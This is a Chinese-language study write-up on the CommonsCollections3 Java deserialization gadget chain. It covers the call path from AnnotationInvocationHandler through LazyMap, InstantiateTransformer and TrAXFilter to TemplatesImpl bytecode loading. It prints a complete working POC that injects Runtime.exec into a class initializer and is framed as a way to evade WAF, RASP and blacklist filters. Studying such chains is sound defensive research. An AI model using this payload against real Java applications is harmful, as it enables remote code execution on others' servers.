在 CC1 中,我们最终利用的是 Runtime.getRuntime().exec() 来执行命令。然而,在实际攻防环境中,Runtime.exec 经常面临两个问题:
黑名单限制:很多
WAF或RASP会监控Runtime.exec的调用。序列化过滤器:
CommonsCollections1依赖的InvokerTransformer经常是黑名单的首选目标。
CC3 的精髓在于: 它不再直接调用 Runtime.exec,而是通过 动态类加载(Dynamic Class Loading) 的方式,加载一段恶意字节码并初始化。这通常绕过了对"命令执行函数"的直接监控,且利用 InstantiateTransformer 替代了部分场景下被禁用的 InvokerTransformer
JDK 版本:由于 CommonsCollections3 使用 AnnotationInvocationHandler 作为入口,它受到 JDK 版本限制。请在 JDK 8u71 之前 的版本运行。下文我们使用 JDK 8u65 进行学习
补一段P牛的原文
2015年初,@frohoff 和 @gebl 发布了 Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及 Java 反序列化利用工具 ysoserial,随后引爆了安全界。 开发者们自然会去找寻一种安全的过滤方法,于是类似 SerialKiller 这样的工具随之诞生。 SerialKiller 是一个 Java 反序列化过滤器,可以通过 黑名单 与 白名单 的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单。

Gadgets
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.readObject()
-> Map(Proxy).entrySet()
-> AnnotationInvocationHandler.invoke()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform() // 1. 返回 TrAXFilter.class
-> InstantiateTransformer.transform() // 2. 调用 TrAXFilter 构造函数
-> TrAXFilter.<init>() // 3. 构造函数内部逻辑
-> TemplatesImpl.newTransformer() // 4. 触发恶意类加载
-> TemplatesImpl.getTransletInstance()
-> TemplatesImpl.defineTransletClasses()
-> Class.newInstance()
-> (恶意字节码静态代码块/初始化逻辑触发命令执行)POC
package CommonsCollections3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections3 {
public static void main(String[] args) throws Exception {
// 1. 制作恶意 TemplatesImpl
Object templates = createTemplatesImpl("calc");
// 2. 构造 Transformer 链
// ConstantTransformer(TrAXFilter.class) -> 返回 TrAXFilter 类
// InstantiateTransformer(param) -> 调用 new TrAXFilter(templates)
// TrAXFilter 构造函数 -> 调用 templates.newTransformer() -> RCE
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
// 3. 组合 ChainedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
// 4. LazyMap 装饰
Map innerMap = new HashMap();
// 使用 LazyMap 包装 innerMap,当 get 找不到 key 时,触发 transformerChain
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 5. 制作 AnnotationInvocationHandler 代理
// 获取类引用
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 实例化 handler,代理 LazyMap
// 使用 Retention.class 是因为它是标准注解,且适配 entrySet
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
// 6. 创建动态代理对象
// 当对这个 mapProxy 进行操作(如 entrySet)时,会进入 handler.invoke
Map mapProxy = (Map) Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
new Class[]{Map.class},
handler
);
// 7. 再次包装 AnnotationInvocationHandler (为了满足 readObject 的触发逻辑)
// 在反序列化时, readObject 调用 memberValues.entrySet() 从而触发上面的 mapProxy
Object finalObject = constructor.newInstance(Retention.class, mapProxy);
byte[] serializedData = serialize(finalObject);
unserialize(serializedData);
}
// 创建恶意 TemplatesImpl
private static Object createTemplatesImpl(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("EvilClass" + System.nanoTime());
// 必须继承 AbstractTranslet, 因为 defineTransletClasses 会校验
cc.setSuperclass(pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class.getName()));
// 将恶意代码写入静态代码块
String cmdStr = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");";
cc.makeClassInitializer().insertBefore(cmdStr);
// 获取字节码
byte[] bytecodes = cc.toBytecode();
// 实例化 TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
// 通过反射设置私有字段
setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
setFieldValue(templates, "_name", "Sinon"); // 必须非空
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static Object unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}Sink
依然是从 sink 往回学习,从 gadgets 可以看到,和 CommonsCollections1 不同的点就在下面这个数组链的构造
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};触发这条链的方式和之前一样,采用 ChainedTransformer.transform 串联。
如下小 demo 测试

回顾一下 ChainedTransformer.transform 方法。this.iTransformers 即 transformers 即 Transformer[] 数组实例。
ChainedTransformer.transform 即依次调用数组每个元素的 transform 方法,然后将前一个元素 transform 得到的返回值传给下一个元素,当作下一个元素 transform 的 input

我们在前面给数组填充了一个 ConstantTransformer 对象作为元素 0 (下标) , 一个 InstantiateTransformer 对象作为元素 1 (下标)
现在按找顺序遍历,先执行 ConstantTransformer(TrAXFilter.class).transform
很容易理解,即直接返回一个 TrAXFilter 对象

继续遍历下一个元素, 执行 InstantiateTransformer.transform
其中通过构造函数得到
this.iParamTypes = new Class[]{Templates.class}
this.iArgs = new Object[]{templates}

现在进入 transform 的 else 分支,我们现在的 Object input 即上一个元素传给我们的 TrAXFilter 对象。
所以现在实际执行的是
Constructor con = TrAXFilter.class.getConstructor(Templates.class)
return con.newInstance(templates);
------------
// 等价于
------------
return new TrAXFilter(templates);我们再看看 TrAXFilter 的构造方法,其中关键的一环即 _transformer = (TransformerImpl) templates.newTransformer();
这里 TransformerImpl.newTransformer 就直接导致了 templates 恶意对象内的静态代码块的字节码执行。(TransformerImpl 执行原理可以详细见文章 CommonsCollections2)

Kick-Off
后面的核心 sink 分析完,前面的入口链和 CommonsCollections1 是一致的。
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.readObject()
-> Map(Proxy).entrySet()
-> AnnotationInvocationHandler.invoke()
-> LazyMap.get()Reference
《Java安全漫谈 - 14.为什么需要CommonsCollections3》